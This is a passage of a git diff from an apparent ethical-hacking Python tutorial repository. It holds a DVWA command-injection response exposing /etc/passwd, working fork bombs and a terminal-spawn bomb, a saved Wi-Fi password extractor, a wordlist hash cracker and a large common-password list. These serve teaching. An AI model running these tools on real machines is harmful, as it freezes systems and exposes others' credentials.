+drwxr-xr-x 11 www-data www-data 4096 May 20  2012 ..
+drwxr-xr-x  2 www-data www-data 4096 May 20  2012 help
+-rw-r--r--  1 www-data www-data 1509 Mar 16  2010 index.php
+drwxr-xr-x  2 www-data www-data 4096 May 20  2012 source
+
+ +
+ +

More info

+ +
+ +
+
+ + +
+ +
+
+ +
+
Username: admin
Security Level: medium
PHPIDS: disabled
+
+ + + +
+ + + +================================================================================ + diff --git a/ethical-hacking/exploit-command-injection/requirements.txt b/ethical-hacking/exploit-command-injection/requirements.txt new file mode 100644 index 00000000..3d90aaa5 --- /dev/null +++ b/ethical-hacking/exploit-command-injection/requirements.txt @@ -0,0 +1 @@ +colorama \ No newline at end of file diff --git a/ethical-hacking/exploit-command-injection/response.txt b/ethical-hacking/exploit-command-injection/response.txt new file mode 100644 index 00000000..3e46a5db --- /dev/null +++ b/ethical-hacking/exploit-command-injection/response.txt @@ -0,0 +1,123 @@ + + + + + + + + + Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Brute Force + + + + + + + + + + +
+ + + + + +
+ + +
+

Vulnerability: Command Execution

+ +
+ +

Ping for FREE

+ +

Enter an IP address below:

+
+ + +
+ +
root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/bin/sh
+bin:x:2:2:bin:/bin:/bin/sh
+sys:x:3:3:sys:/dev:/bin/sh
+sync:x:4:65534:sync:/bin:/bin/sync
+games:x:5:60:games:/usr/games:/bin/sh
+man:x:6:12:man:/var/cache/man:/bin/sh
+lp:x:7:7:lp:/var/spool/lpd:/bin/sh
+mail:x:8:8:mail:/var/mail:/bin/sh
+news:x:9:9:news:/var/spool/news:/bin/sh
+uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
+proxy:x:13:13:proxy:/bin:/bin/sh
+www-data:x:33:33:www-data:/var/www:/bin/sh
+backup:x:34:34:backup:/var/backups:/bin/sh
+list:x:38:38:Mailing List Manager:/var/list:/bin/sh
+irc:x:39:39:ircd:/var/run/ircd:/bin/sh
+gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
+nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
+libuuid:x:100:101::/var/lib/libuuid:/bin/sh
+dhcp:x:101:102::/nonexistent:/bin/false
+syslog:x:102:103::/home/syslog:/bin/false
+klog:x:103:104::/home/klog:/bin/false
+sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
+msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
+bind:x:105:113::/var/cache/bind:/bin/false
+postfix:x:106:115::/var/spool/postfix:/bin/false
+ftp:x:107:65534::/home/ftp:/bin/false
+postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
+mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
+tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
+distccd:x:111:65534::/:/bin/false
+user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
+service:x:1002:1002:,,,:/home/service:/bin/bash
+telnetd:x:112:120::/nonexistent:/bin/false
+proftpd:x:113:65534::/var/run/proftpd:/bin/false
+statd:x:114:65534::/var/lib/nfs:/bin/false
+
+ +
+ +

More info

+ +
+ +
+
+ + +
+ +
+
+ +
+
Username: admin
Security Level: medium
PHPIDS: disabled
+
+ + + +
+ + + + \ No newline at end of file diff --git a/ethical-hacking/fake-user-data-generator/README.md b/ethical-hacking/fake-user-data-generator/README.md new file mode 100644 index 00000000..3e304d15 --- /dev/null +++ b/ethical-hacking/fake-user-data-generator/README.md @@ -0,0 +1 @@ +# [How to Generate Fake User Data in Python](https://thepythoncode.com/article/generate-fake-user-data-in-python) \ No newline at end of file diff --git a/ethical-hacking/fake-user-data-generator/fake_data.py b/ethical-hacking/fake-user-data-generator/fake_data.py new file mode 100644 index 00000000..021cbd72 --- /dev/null +++ b/ethical-hacking/fake-user-data-generator/fake_data.py @@ -0,0 +1,124 @@ +# Import necessary libraries and modules. +from faker import Faker +from faker.providers import internet +import csv + + +# Function to generate user data with the specified number of users. +def generate_user_data(num_of_users): + # Create a Faker instance. + fake = Faker() + # Add the Internet provider to generate email addresses and IP addresses. + fake.add_provider(internet) + + # Initialize an empty list to store user data. + user_data = [] + # Loop to generate data for the specified number of users. + for _ in range(num_of_users): + # Create a dictionary representing a user with various attributes. + user = { + 'Name': fake.name(), + 'Email': fake.free_email(), + 'Phone Number': fake.phone_number(), + 'Birthdate': fake.date_of_birth(), + 'Address': fake.address(), + 'City': fake.city(), + 'Country': fake.country(), + 'ZIP Code': fake.zipcode(), + 'Job Title': fake.job(), + 'Company': fake.company(), + 'IP Address': fake.ipv4_private(), + 'Credit Card Number': fake.credit_card_number(), + 'Username': fake.user_name(), + 'Website': fake.url(), + 'SSN': fake.ssn() + } + # Append the user data dictionary to the user_data list. + user_data.append(user) + + # Return the list of generated user data. + return user_data + + +# Function to save user data to a CSV file. +def save_to_csv(data, filename): + # Get the keys (column names) from the first dictionary in the data list. + keys = data[0].keys() + # Open the CSV file for writing. + with open(filename, 'w', newline='') as output_file: + # Create a CSV writer with the specified column names. + writer = csv.DictWriter(output_file, fieldnames=keys) + # Write the header row to the CSV file. + writer.writeheader() + # Iterate through each user dictionary and write a row to the CSV file. + for user in data: + writer.writerow(user) + # Print a success message indicating that the data has been saved to the file. + print(f'[+] Data saved to {filename} successfully.') + + +# Function to save user data to a text file. +def save_to_text(data, filename): + # Open the text file for writing. + with open(filename, 'w') as output_file: + # Iterate through each user dictionary. + for user in data: + # Iterate through key-value pairs in the user dictionary and write to the text file. + for key, value in user.items(): + output_file.write(f"{key}: {value}\n") + # Add a newline between users in the text file. + output_file.write('\n') + # Print a success message indicating that the data has been saved to the file. + print(f'[+] Data saved to {filename} successfully.') + + +# Function to print user data vertically. +def print_data_vertically(data): + # Iterate through each user dictionary in the data list. + for user in data: + # Iterate through key-value pairs in the user dictionary and print vertically. + for key, value in user.items(): + print(f"{key}: {value}") + # Add a newline between users. + print() + + +# Get the number of users from user input. +number_of_users = int(input("[!] Enter the number of users to generate: ")) +# Generate user data using the specified number of users. +user_data = generate_user_data(number_of_users) + +# Ask the user if they want to save the data to a file. +save_option = input("[?] Do you want to save the data to a file? (yes/no): ").lower() + +# If the user chooses to save the data. +if save_option == 'yes': + # Ask the user for the file type (CSV, TXT, or both). + file_type = input("[!] Enter file type (csv/txt/both): ").lower() + + # Save to CSV if the user chose CSV or both. + if file_type == 'csv' or file_type == 'both': + # Ask the user for the CSV filename. + custom_filename_csv = input("[!] Enter the CSV filename (without extension): ") + # Concatenate the filename with the .csv extension. + filename_csv = f"{custom_filename_csv}.csv" + # Call the save_to_csv function to save the data to the CSV file. + save_to_csv(user_data, filename_csv) + + # Save to TXT if the user chose TXT or both. + if file_type == 'txt' or file_type == 'both': + # Ask the user for the TXT filename. + custom_filename_txt = input("[!] Enter the TXT filename (without extension): ") + # Concatenate the filename with the .txt extension. + filename_txt = f"{custom_filename_txt}.txt" + # Call the save_to_text function to save the data to the text file. + save_to_text(user_data, filename_txt) + + # If the user entered an invalid file type. + if file_type not in ['csv', 'txt', 'both']: + # Print an error message indicating that the file type is invalid. + print("[-] Invalid file type. Data not saved.") +# If the user chose not to save the data, print it vertically. +else: + # Call the print_data_vertically function to print the data vertically. + print_data_vertically(user_data) diff --git a/ethical-hacking/fake-user-data-generator/requirements.txt b/ethical-hacking/fake-user-data-generator/requirements.txt new file mode 100644 index 00000000..ea45cd03 --- /dev/null +++ b/ethical-hacking/fake-user-data-generator/requirements.txt @@ -0,0 +1 @@ +Faker \ No newline at end of file diff --git a/ethical-hacking/find-past-wifi-connections-on-windows/README.md b/ethical-hacking/find-past-wifi-connections-on-windows/README.md new file mode 100644 index 00000000..614b160a --- /dev/null +++ b/ethical-hacking/find-past-wifi-connections-on-windows/README.md @@ -0,0 +1 @@ +# [How to Find Past Wi-Fi Connections on Windows in Python](https://thepythoncode.com/article/find-past-wifi-connections-on-windows-in-python) \ No newline at end of file diff --git a/ethical-hacking/find-past-wifi-connections-on-windows/win_reg.py b/ethical-hacking/find-past-wifi-connections-on-windows/win_reg.py new file mode 100644 index 00000000..c362aa9c --- /dev/null +++ b/ethical-hacking/find-past-wifi-connections-on-windows/win_reg.py @@ -0,0 +1,39 @@ +import winreg # Import registry module. + +def val2addr(val): # Convert value to address format. + addr = '' # Initialize address. + try: + for ch in val: # Loop through value characters. + addr += '%02x ' % ch # Convert each character to hexadecimal. + addr = addr.strip(' ').replace(' ', ':')[0:17] # Format address. + except: + return "N/A" # Return N/A if error occurs. + return addr # Return formatted address. + + +def printNets(): # Print network information. + net = r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Unmanaged" # Registry key for network info. + key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, net) # Open registry key. + print('\n[*] Networks You have Joined:') # Print header. + for i in range(100): # Loop through possible network keys. + try: + guid = winreg.EnumKey(key, i) # Get network key. + netKey = winreg.OpenKey(key, guid) # Open network key. + try: + n, addr, t = winreg.EnumValue(netKey, 5) # Get MAC address. + n, name, t = winreg.EnumValue(netKey, 4) # Get network name. + if addr: + macAddr = val2addr(addr) # Convert MAC address. + else: + macAddr = 'N/A' + netName = str(name) # Convert network name to string. + print(f'[+] {netName} ----> {macAddr}') # Print network info. + except WindowsError: # Handle errors. + pass # Continue loop. + winreg.CloseKey(netKey) # Close network key. + except WindowsError: # Handle errors. + break # Exit loop. + winreg.CloseKey(key) # Close registry key. + + +printNets() # Call printNets function. diff --git a/ethical-hacking/fork-bomb/README.md b/ethical-hacking/fork-bomb/README.md new file mode 100644 index 00000000..be4ecf37 --- /dev/null +++ b/ethical-hacking/fork-bomb/README.md @@ -0,0 +1 @@ +# [How to Create A Fork Bomb in Python](https://thepythoncode.com/article/make-a-fork-bomb-in-python) \ No newline at end of file diff --git a/ethical-hacking/fork-bomb/fork_bomb.py b/ethical-hacking/fork-bomb/fork_bomb.py new file mode 100644 index 00000000..672e7ed1 --- /dev/null +++ b/ethical-hacking/fork-bomb/fork_bomb.py @@ -0,0 +1,45 @@ +"""Using `multiprocessing` module to spawn processes as a cross-platform fork bomb.""" +# Import necessary modules. +from multiprocessing import Process, cpu_count +import time + +# Define a function named counter that takes a number parameter. +def counter(number): + # Run a loop until number reaches 0. + while number > 0: + number -= 1 + # Introduce a sleep of 100 ms to intentionally slow down the loop. + time.sleep(0.1) # Adjust sleep time as needed to make it slower. + + +def spawn_processes(num_processes): + # Create a list of Process instances, each targeting the counter function. + processes = [Process(target=counter, args=(1000,)) for _ in range(num_processes)] + # Start each process. + for process in processes: + process.start() + print(f"Started process {process.pid}.") + # Wait for each process to finish before moving on. + for process in processes: + process.join() + print(f"Process {process.pid} has finished.") + +# Define the main function. +def main(): + # Get the number of logical processors on the system. + num_processors = cpu_count() + # Create a large number of processes (num_processors * 200). + num_processes = num_processors * 200 # Adjust the number of processes to spawn as needed. + print(f"Number of logical processors: {num_processors}") + print(f"Creating {num_processes} processes.") + print("Warning: This will consume a lot of system resources, and potentially freeze your PC, make sure to adjust the number of processes and sleep seconds as needed.") + # Run an infinite loop if you want. + # while True: + # spawn_processes(num_processes) + # For demonstration purposes, run the function once and monitor the task manager. + spawn_processes(num_processes) + + +# Execute the main function. +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/ethical-hacking/fork-bomb/fork_bomb_simplest.py b/ethical-hacking/fork-bomb/fork_bomb_simplest.py new file mode 100644 index 00000000..69abe8b8 --- /dev/null +++ b/ethical-hacking/fork-bomb/fork_bomb_simplest.py @@ -0,0 +1,9 @@ +"""Simplest form of a fork bomb. It creates a new process in an infinite loop using os.fork(). +It only works on Unix-based systems, and it will consume all system resources, potentially freezing the system. +Be careful when running this code.""" +import os +# import time + +while True: + os.fork() + # time.sleep(0.5) \ No newline at end of file diff --git a/ethical-hacking/fork-bomb/terminal_spawn_bomb.py b/ethical-hacking/fork-bomb/terminal_spawn_bomb.py new file mode 100644 index 00000000..8f03e615 --- /dev/null +++ b/ethical-hacking/fork-bomb/terminal_spawn_bomb.py @@ -0,0 +1,38 @@ +"""A terminal spawn bomb that infinitely opens a new terminal window on the host system. +Be careful when running this script, as it overwhelms the system with terminal windows. +The time.sleep() is introduced to test the script.""" +import os +import subprocess +import time + +# List of common terminal emulators +terminal_emulators = [ + "gnome-terminal", # GNOME + "konsole", # KDE + "xfce4-terminal", # XFCE + "lxterminal", # LXDE + "mate-terminal", # MATE + "terminator", + "xterm", + "urxvt" +] + +def open_terminal(): + for emulator in terminal_emulators: + try: + if subprocess.call(["which", emulator], stdout=subprocess.DEVNULL) == 0: + os.system(f"{emulator} &") + return True + except Exception as e: + continue + print("No known terminal emulator found!") + return False + +while True: + if os.name == "nt": + os.system("start cmd") + else: + if not open_terminal(): + break # Break the loop if no terminal emulator is found + # Introduce a sleep of 500 ms to intentionally slow down the loop so you can stop the script. + time.sleep(0.5) # Adjust sleep time as needed to make it slower. diff --git a/ethical-hacking/get-wifi-passwords/README.md b/ethical-hacking/get-wifi-passwords/README.md index e24eda7f..a10efc10 100644 --- a/ethical-hacking/get-wifi-passwords/README.md +++ b/ethical-hacking/get-wifi-passwords/README.md @@ -1 +1,3 @@ -# [How to Extract Saved WiFi Passwords in Python](https://www.thepythoncode.com/article/extract-saved-wifi-passwords-in-python) \ No newline at end of file +# [How to Extract Saved WiFi Passwords in Python](https://www.thepythoncode.com/article/extract-saved-wifi-passwords-in-python) + +This program lists saved Wi-Fi networks and their passwords on Windows and Linux machines. In addition to the SSID (Wi-Fi network name) and passwords, the output also shows the network’s security type and ciphers. \ No newline at end of file diff --git a/ethical-hacking/get-wifi-passwords/get_wifi_passwords.py b/ethical-hacking/get-wifi-passwords/get_wifi_passwords.py index 0afd70ca..ff32f6f8 100644 --- a/ethical-hacking/get-wifi-passwords/get_wifi_passwords.py +++ b/ethical-hacking/get-wifi-passwords/get_wifi_passwords.py @@ -28,10 +28,16 @@ def get_windows_saved_wifi_passwords(verbose=1): [list]: list of extracted profiles, a profile has the fields ["ssid", "ciphers", "key"] """ ssids = get_windows_saved_ssids() - Profile = namedtuple("Profile", ["ssid", "ciphers", "key"]) + Profile = namedtuple("Profile", ["ssid", "security", "ciphers", "key"]) profiles = [] for ssid in ssids: ssid_details = subprocess.check_output(f"""netsh wlan show profile "{ssid}" key=clear""").decode() + + #get the security type + security = re.findall(r"Authentication\s(.*)", ssid_details) + # clear spaces and colon + security = "/".join(dict.fromkeys(c.strip().strip(":").strip() for c in security)) + # get the ciphers ciphers = re.findall(r"Cipher\s(.*)", ssid_details) # clear spaces and colon @@ -43,7 +49,7 @@ def get_windows_saved_wifi_passwords(verbose=1): key = key[0].strip().strip(":").strip() except IndexError: key = "None" - profile = Profile(ssid=ssid, ciphers=ciphers, key=key) + profile = Profile(ssid=ssid, security=security, ciphers=ciphers, key=key) if verbose >= 1: print_windows_profile(profile) profiles.append(profile) @@ -52,12 +58,13 @@ def get_windows_saved_wifi_passwords(verbose=1): def print_windows_profile(profile): """Prints a single profile on Windows""" - print(f"{profile.ssid:25}{profile.ciphers:15}{profile.key:50}") + #print(f"{profile.ssid:25}{profile.ciphers:15}{profile.key:50}") + print(f"{profile.ssid:25}{profile.security:30}{profile.ciphers:35}{profile.key:50}") def print_windows_profiles(verbose): """Prints all extracted SSIDs along with Key on Windows""" - print("SSID CIPHER(S) KEY") + print("SSID Securities CIPHER(S) KEY") print("-"*50) get_windows_saved_wifi_passwords(verbose) diff --git a/ethical-hacking/hash-cracker/README.md b/ethical-hacking/hash-cracker/README.md new file mode 100644 index 00000000..7f59fab6 --- /dev/null +++ b/ethical-hacking/hash-cracker/README.md @@ -0,0 +1,14 @@ +# [How to Crack Hashes in Python](https://thepythoncode.com/article/crack-hashes-in-python) +To run this: +- `pip install -r requirements.txt` +- Get usage: `python crack_hashes.py --help` +- Crack a SHA-256 hash using `wordlist.txt`: + ```bash + $ python crack_hashes.py 6ca13d52ca70c883e0f0bb101e425a89e8624de51db2d2392593af6a84118090 wordlist.txt --hash-type sha256 + ``` + **Output:** + ``` + [*] Cracking hash 6ca13d52ca70c883e0f0bb101e425a89e8624de51db2d2392593af6a84118090 using sha256 with a list of 14344394 words. + Cracking hash: 96%|███████████████████████████████████████████████████████████████████████████████████████████▉ | 13735317/14344394 [00:20<00:00, 664400.58it/s] + [+] Found password: abc123 + ``` \ No newline at end of file diff --git a/ethical-hacking/hash-cracker/crack_hashes.py b/ethical-hacking/hash-cracker/crack_hashes.py new file mode 100644 index 00000000..5e98db51 --- /dev/null +++ b/ethical-hacking/hash-cracker/crack_hashes.py @@ -0,0 +1,53 @@ +import hashlib +from tqdm import tqdm + +# List of supported hash types +hash_names = [ + 'blake2b', + 'blake2s', + 'md5', + 'sha1', + 'sha224', + 'sha256', + 'sha384', + 'sha3_224', + 'sha3_256', + 'sha3_384', + 'sha3_512', + 'sha512', +] + +def crack_hash(hash, wordlist, hash_type=None): + """Crack a hash using a wordlist. + + Args: + hash (str): The hash to crack. + wordlist (str): The path to the wordlist. + + Returns: + str: The cracked hash. + """ + hash_fn = getattr(hashlib, hash_type, None) + if hash_fn is None or hash_type not in hash_names: + # not supported hash type + raise ValueError(f'[!] Invalid hash type: {hash_type}, supported are {hash_names}') + # Count the number of lines in the wordlist to set the total + total_lines = sum(1 for line in open(wordlist, 'r')) + print(f"[*] Cracking hash {hash} using {hash_type} with a list of {total_lines} words.") + # open the wordlist + with open(wordlist, 'r') as f: + # iterate over each line + for line in tqdm(f, desc='Cracking hash', total=total_lines): + if hash_fn(line.strip().encode()).hexdigest() == hash: + return line + + +if __name__ == "__main__": + import argparse + parser = argparse.ArgumentParser(description='Crack a hash using a wordlist.') + parser.add_argument('hash', help='The hash to crack.') + parser.add_argument('wordlist', help='The path to the wordlist.') + parser.add_argument('--hash-type', help='The hash type to use.', default='md5') + args = parser.parse_args() + print() + print("[+] Found password:", crack_hash(args.hash, args.wordlist, args.hash_type)) diff --git a/ethical-hacking/hash-cracker/requirements.txt b/ethical-hacking/hash-cracker/requirements.txt new file mode 100644 index 00000000..fa9cf064 --- /dev/null +++ b/ethical-hacking/hash-cracker/requirements.txt @@ -0,0 +1 @@ +tqdm \ No newline at end of file diff --git a/ethical-hacking/hash-cracker/wordlist.txt b/ethical-hacking/hash-cracker/wordlist.txt new file mode 100644 index 00000000..554c961b --- /dev/null +++ b/ethical-hacking/hash-cracker/wordlist.txt @@ -0,0 +1,5000 @@ +123456 +12345 +123456789 +password +iloveyou +princess +12345678 +1234567 +nicole +daniel +monkey +babygirl +qwerty +lovely +654321 +michael +jessica +111111 +ashley +000000 +iloveu +michelle +tigger +sunshine +chocolate +password1 +soccer +anthony +friends +purple +angel +butterfly +jordan +fuckyou +123123 +justin +liverpool +football +loveme +secret +andrea +jennifer +joshua +carlos +superman +bubbles +hannah +1234567890 +amanda +andrew +loveyou +pretty +basketball +angels +flower +tweety +hello +playboy +charlie +elizabeth +samantha +hottie +chelsea +tinkerbell +shadow +barbie +666666 +jasmine +lovers +brandon +teamo +matthew +melissa +eminem +robert +danielle +forever +dragon +computer +whatever +family +jonathan +cookie +summer +987654321 +naruto +vanessa +sweety +joseph +spongebob +junior +taylor +softball +mickey +yellow +lauren +daniela +princesa +william +alexandra +thomas +jesus +alexis +miguel +estrella +patrick +angela +mylove +poohbear +beautiful +iloveme +sakura +adrian +121212 +destiny +alexander +christian +america +monica +dancer +112233 +sayang +richard +diamond +orange +555555 +princess1 +carolina +steven +louise +rangers +snoopy +hunter +999999 +killer +nathan +789456 +11111 +buster +shorty +gabriel +cherry +george +cheese +sandra +alejandro +rachel +brittany +ginger +patricia +alejandra +7777777 +159753 +pokemon +pepper +arsenal +maggie +peanut +baseball +dolphin +heather +david +tequiero +chicken +blink182 +antonio +222222 +victoria +sweetie +rainbow +stephanie +987654 +beauty +honey +00000 +fernando +cristina +corazon +kisses +manuel +angel1 +martin +heaven +november +55555 +rebelde +greenday +123321 +ricardo +batman +babygurl +madison +123abc +mother +alyssa +morgan +asshole +december +bailey +mahalkita +september +mariposa +maria +sophie +jeremy +gemini +pamela +gabriela +shannon +iloveyou2 +kimberly +jessie +pictures +austin +claudia +hellokitty +booboo +master +harley +angelica +babygirl1 +victor +horses +courtney +tiffany +mahalko +eduardo +kissme +mariana +peaches +andres +banana +precious +chris +october +ronaldo +inuyasha +veronica +iloveyou1 +888888 +freedom +james +prince +oliver +jesus1 +zxcvbnm +adriana +samsung +cutie +friend +crystal +edward +scooby +celtic +rebecca +jackie +carmen +kenneth +diana +angelo +johnny +456789 +sebastian +school +spiderman +karina +mustang +christopher +slipknot +august +orlando +0123456789 +samuel +monkey1 +adidas +cameron +barcelona +casper +bitch +kitten +internet +50cent +kevin +cutiepie +brenda +bonita +babyboy +maganda +karen +natalie +fuckoff +123654 +isabel +sarah +silver +cuteako +javier +jasper +789456123 +777777 +tigers +marvin +rockstar +bowwow +nicholas +chester +laura +portugal +smokey +denise +asdfgh +flowers +january +tintin +alicia +volleyball +101010 +bianca +garfield +cristian +dennis +cassie +696969 +chrisbrown +sweet +francis +midnight +strawberry +panget +love123 +lollipop +benfica +aaaaaa +olivia +welcome +apples +charles +cancer +qwertyuiop +ihateyou +vincent +mercedes +nirvana +jordan23 +letmein +camila +monique +superstar +harrypotter +fucker +scorpio +pookie +icecream +christine +benjamin +mexico +abigail +charmed +131313 +lorena +lovelove +abcdef +katherine +andreea +333333 +rafael +brianna +love +aaliyah +brooke +johncena +dakota +gangsta +jackson +michael1 +hiphop +travis +sabrina +metallica +julian +stephen +jeffrey +sergio +mybaby +babyblue +fluffy +badboy +simple +smiley +catherine +dolphins +melanie +blondie +westlife +newyork +fernanda +sasuke +88888888 +muffin +piglet +roberto +teresa +steaua +jason +minnie +ronald +asdfghjkl +popcorn +raymond +slideshow +kitty +santiago +scooter +5201314 +dexter +jerome +jayson +246810 +ladybug +gandako +cookies +gatita +leslie +babyko +lalala +christ +alberto +232323 +jenny +sweetheart +chivas +leonardo +nicole1 +rockon +marcus +valeria +anthony1 +babydoll +jayjay +brooklyn +cocacola +12345678910 +sexygirl +bitch1 +liliana +happy +chris1 +amores +eeyore +natasha +skittles +fatima +252525 +single +lover +london +winnie +159357 +miamor +123456a +colombia +manutd +lakers +hahaha +britney +albert +katrina +teddybear +linda +elephant +grace +christina +marie +stupid +hockey +0123456 +pasaway +snickers +mahal +turtle +tatiana +charlotte +smile +147258369 +cantik +qazwsx +teiubesc +genesis +shelby +natalia +spider +francisco +147258 +xavier +kelsey +amorcito +angelito +claire +brandy +manchester +paola +fuckyou1 +mommy1 +marina +147852 +bandit +phoenix +rabbit +amigos +444444 +garcia +bonnie +linkinpark +marlon +sharon +guitar +dallas +starwars +disney +monster +frankie +diego +red123 +pimpin +pumpkin +iverson +54321 +andrei +england +soccer1 +sparky +fashion +justine +allison +emily +102030 +lucky1 +456123 +wilson +potter +danny +matrix +miranda +bestfriend +number1 +canada +people +thunder +hermosa +barney +player +savannah +camille +sporting +katie +nelson +212121 +yankees +scotland +timothy +hearts +iloveu2 +truelove +hottie1 +jasmin +smiles +bubble +onelove +jayden +florida +ilovehim +parola +ganda +brandon1 +jackass +shakira +motorola +tennis +sweets +estrellita +westside +nikki +evelyn +biteme +monkeys +maryjane +lucky +trinity +loverboy +ronnie +love12 +elijah +joanna +emmanuel +familia +broken +compaq +1234 +omarion +hello1 +999999999 +mamita +rodrigo +justin1 +jamaica +california +isabella +shopping +fuckyou2 +gracie +nothing +kathleen +cupcake +mauricio +sammy +abcdefg +bradley +amigas +mariah +loser +connor +preciosa +ferrari +snowball +elaine +robbie +hector +flores +jorge +trustno1 +darling +candy +martinez +sunflower +millie +jamie +melody +blessed +cheche +dominic +joanne +valentina +swimming +pebbles +tyler +friendster +santos +taurus +dreams +a123456 +aaron +gloria +loving +gangster +sweetpea +kitkat +sunshine1 +google +jessica1 +cheyenne +dustin +violet +apple +sydney +darren +megan +darkangel +kelly +cynthia +zachary +froggy +charlie1 +sophia +skater +123qwe +raiders +purple1 +bettyboop +darkness +oscar +iubire +money +chacha +jordan1 +010203 +inlove +batista +bestfriends +marian +gerald +carebear +green +daddy1 +pogiako +karla +billabong +sexyme +willow +cooper +pinky +daddysgirl +ashley1 +bambam +tigger1 +amber +fuckme +erika +nenita +dreamer +bella +gatito +butter +123789 +buttercup +glitter +passion +lokita +sister +maldita +nichole +lindsey +sierra +lindsay +anderson +booger +miller +caroline +eagles +loveya +marissa +lovebug +nicolas +cecilia +zacefron +tokiohotel +lollypop +bubblegum +kristine +mario +puppies +mememe +carter +chubby +scorpion +ariana +sammie +11111111 +stella +raquel +kristen +qwerty1 +lonely +stacey +baller +chance +hotstuff +angelina +roxana +james1 +susana +sexybitch +rocker +williams +012345 +babylove +rocky +sweet16 +freddy +lolita +remember +football1 +catdog +kayla +playgirl +loveme1 +marcos +zxcvbn +yamaha +gustavo +bhebhe +PASSWORD +hotdog +202020 +daddy +151515 +milagros +caitlin +vampire +lovely1 +ireland +skyline +matthew1 +xxxxxx +beyonce +lilmama +georgia +martha +gerard +armando +undertaker +margarita +bryan +kittycat +tristan +lizzie +dance +loves +password2 +money1 +amistad +tamara +boomer +simpsons +justme +capricorn +maddie +andrew1 +amelia +delfin +legolas +sheila +141414 +harvey +cheerleader +chiquita +gateway +cowboys +janine +penguin +enrique +patches +scoobydoo +genius +badgirl +israel +carlitos +happy1 +dancing +cuteme +lester +angeles +peewee +walter +jesuschrist +awesome +thebest +deedee +lucky7 +chichi +buddy1 +angie +00000000 +ashton +winter +michelle1 +hardcore +tinker +myself +janice +paloma +tazmania +regina +cinderella +molly +miriam +poopoo +animal +april +ilovejesus +david1 +murphy +please +felipe +spencer +tekiero +princesita +jesucristo +pussycat +johnson +lipgloss +melvin +rosita +jazmin +celeste +mierda +scarface +pangit +silvia +arturo +741852963 +mylife +trixie +gorgeous +hernandez +chicago +panthers +daisy +yourmom +ilovegod +xbox360 +babyboo +kristina +crazy +hawaii +honeyko +valerie +nikita +sparkle +debbie +loveu +tucker +098765 +hollywood +wesley +lupita +alfredo +hailey +musica +abcd1234 +sexymama +lawrence +242424 +jeremiah +hayden +bullshit +marley +chloe +qwert +barbara +1q2w3e4r +micheal +lolipop +panther +jimmy +trouble +united +sheena +coffee +87654321 +0987654321 +diamonds +pineapple +isaiah +brian +blonde +christmas +bubbles1 +sandy +jasmine1 +pantera +marisol +cesar +twilight +shadow1 +butterfly1 +bananas +741852 +whitney +mhine +julius +pauline +madalina +birthday +anamaria +drpepper +beatriz +eugene +bobby +donald +desiree +hannah1 +sweetness +february +moomoo +twinkle +friendship +leanne +simone +shelly +anita +lover1 +marie1 +perfect +beckham +cookie1 +cowboy +calvin +123123123 +imissyou +samson +catalina +damian +ashlee +autumn +buddy +bebita +joshua1 +147852369 +andre +iloveyou! +titanic +daniel1 +pollito +nursing +serenity +mommy +babyface +torres +bitches +dinamo +paradise +reggie +bulldogs +852456 +animals +willie +juliana +alison +passw0rd +sexylady +robert1 +cassandra +14344 +mendoza +blossom +mariel +element +bethany +1111111 +1q2w3e +creative +harold +bulldog +mitchell +diesel +marshall +amanda1 +marcela +gerardo +maverick +peterpan +tanner +tyrone +cutie1 +kucing +chanel +simpleplan +paulina +ILOVEYOU +fabian +pisces +always +hollister +kaylee +margaret +grandma +143143 +donkey +salvador +lovehurts +stars +rodriguez +jason1 +sanchez +boston +thuglife +181818 +patito +thumper +piolin +theresa +derrick +helena +dianne +sweet1 +joseluis +aquarius +dancer1 +ashleigh +aaaaa +diosesamor +bigboy +danger +brownie +phillip +sammy1 +panda +maxwell +mihaela +trisha +kitty1 +parker +love4ever +esther +shane +chinita +alexandru +pickles +rosebud +archie +yvonne +virginia +heart +hamster +amormio +rosario +police +gregory +frances +lorraine +marius +speedy +hayley +11223344 +arnold +morena +kaitlyn +fantasy +trevor +sports +audrey +tweety1 +asdfg +babycakes +sexy123 +taylor1 +hello123 +babies +golden +12341234 +black +gerrard +italia +justice +brittney +superman1 +catarina +roxanne +nintendo +marco +toyota +753951 +lorenzo +cuddles +yasmin +chrissy +darwin +rockme +diablo +rascal +summer1 +nadine +tyler1 +giggles +sofia +godisgood +dominique +rocku +happiness +jenjen +castillo +joyjoy +shorty1 +russell +ghetto +wildcats +kittykat +madison1 +faith +william1 +pelusa +blahblah +franklin +beautiful1 +college +mickey1 +curtis +jocelyn +fabiola +cristo +buttons +junjun +alisha +cheer +kayleigh +gilbert +unicorn +rooney +rochelle +babygurl1 +julio +cricket +macmac +singer +montana +cuteko +vanilla +1qaz2wsx +winston +merlin +hershey +philip +bloods +bigdaddy +sarita +slayer +gabrielle +naughty +mississippi +therock +friends1 +tiger +pikachu +soledad +mickeymouse +marilyn +shithead +7654321 +sapphire +busted +johanna +yolanda +gwapako +123654789 +prettygirl +pickle +emerald +warren +jacob +nascar +jellybean +elizabeth1 +dragons +pretty1 +love13 +ramona +australia +camilo +scotty +pink123 +bismillah +pedro +douglas +pinkie +holas +yoyoyo +photos +briana +carla +lucky13 +callum +9876543210 +shirley +lavender +hilary +iceman +aurora +goddess +erick +ihateu +janelle +loveme2 +asshole1 +dylan +little +watermelon +copper +rahasia +breanna +lourdes +juancarlos +PRINCESS +tania +yellow1 +cheer1 +latina +lovergirl +windows +papito +hunter1 +010101 +22222 +ranger +krystal +idontknow +kittens +rocky1 +madonna +diamond1 +damien +iluvme +emanuel +teamomucho +norman +poohbear1 +kingkong +171717 +goldfish +cindy +flower1 +music +houston +spanky +wicked +belinda +iloveu1 +ballet +rangers1 +valentine +hotgirl +peanut1 +boogie +cuties +teacher +volcom +yahoo +142536 +charlene +liberty +babyphat +shaggy +caramelo 